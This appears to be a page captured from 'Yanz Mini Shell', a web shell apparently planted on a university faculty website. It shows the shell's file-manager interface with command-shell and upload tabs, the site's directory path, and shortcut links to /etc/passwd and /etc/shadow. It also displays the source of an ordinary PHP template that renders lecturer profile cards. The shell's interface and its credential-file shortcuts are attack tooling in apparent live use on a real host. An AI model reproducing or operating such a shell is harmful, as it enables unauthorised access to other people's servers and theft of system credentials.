Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php // ============================================================= // pages/partials/dosen-grid.php // Render grid kartu dosen. Butuh variabel di scope pemanggil: // $dosen_list (array hasil getDosenList) // $base_url // $search (string, opsional — untuk pesan "tidak ditemukan") // ============================================================= ?> <p class="dosen-count" style="color: #6b7280; margin-bottom: 24px;"> Menampilkan <strong><?= count($dosen_list) ?></strong> dosen <?= $search ? 'untuk pencarian "<em>' . e($search) . '</em>"' : '' ?> </p> <?php if (empty($dosen_list)): ?> <div style="background: white; border-radius: 20px; padding: 60px; text-align: center; color: #6b7280;"> <i class="fas fa-user-friends" style="font-size: 3rem; opacity: 0.3;"></i> <p style="margin-top: 16px;">Belum ada dosen yang sesuai kriteria pencarian.</p> </div> <?php else: ?> <div style="display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 24px;"> <?php foreach ($dosen_list as $d): $foto = !empty($d['foto']) && file_exists(__DIR__ . '/../../upload/dosen/' . $d['foto']) ? $base_url . '/upload/dosen/' . e($d['foto']) : 'https://ui-avatars.com/api/?name=' . urlencode($d['nama']) . '&size=300&background=00bfff&color=fff&bold=true'; $nama_lengkap = trim(($d['gelar_depan'] ? $d['gelar_depan'] . ' ' : '') . $d['nama'] . ($d['gelar_belakang'] ? ', ' . $d['gelar_belakang'] : '')); ?> <a href="<?= $base_url ?>/pages/dosen.php?slug=<?= urlencode($d['slug']) ?>" style="text-decoration: none; color: inherit; display: block;" data-aos="fade-up"> <div style="background: white; border-radius: 20px; overflow: hidden; box-shadow: 0 4px 12px rgba(0,0,0,0.06); transition: all 0.3s; height: 100%;" onmouseover="this.style.transform='translateY(-5px)'; this.style.boxShadow='0 12px 28px rgba(0,191,255,0.15)';" onmouseout="this.style.transform=''; this.style.boxShadow='0 4px 12px rgba(0,0,0,0.06)';"> <div style="aspect-ratio: 1; background: #f3f4f6; overflow: hidden;"> <img src="<?= $foto ?>" alt="<?= e($d['nama']) ?>" style="width: 100%; height: 100%; object-fit: cover;" loading="lazy"> </div> <div style="padding: 20px;"> <h3 style="font-family: 'Poppins', sans-serif; font-size: 1.05rem; font-weight: 700; color: #0a2b3e; margin: 0 0 6px;"> <?= e($nama_lengkap) ?> </h3> <?php if ($d['jabatan_fungsional']): ?> <p style="font-size: 0.85rem; color: #00bfff; margin: 0 0 4px; font-weight: 600;"> <?= e($d['jabatan_fungsional']) ?> </p> <?php endif; ?> <?php if ($d['nama_prodi']): ?> <p style="font-size: 0.8rem; color: #6b7280; margin: 0 0 8px;"> <i class="fas fa-graduation-cap"></i> <?= e($d['nama_prodi']) ?> </p> <?php endif; ?> <?php if ($d['minat_penelitian']): ?> <p style="font-size: 0.8rem; color: #4b5563; line-height: 1.5; margin: 0;"> <?= e(mb_strimwidth($d['minat_penelitian'], 0, 80, '...')) ?> </p> <?php endif; ?> </div> </div> </a> <?php endforeach; ?> </div> <?php endif; ?>
Free Space : 57192538112 Byte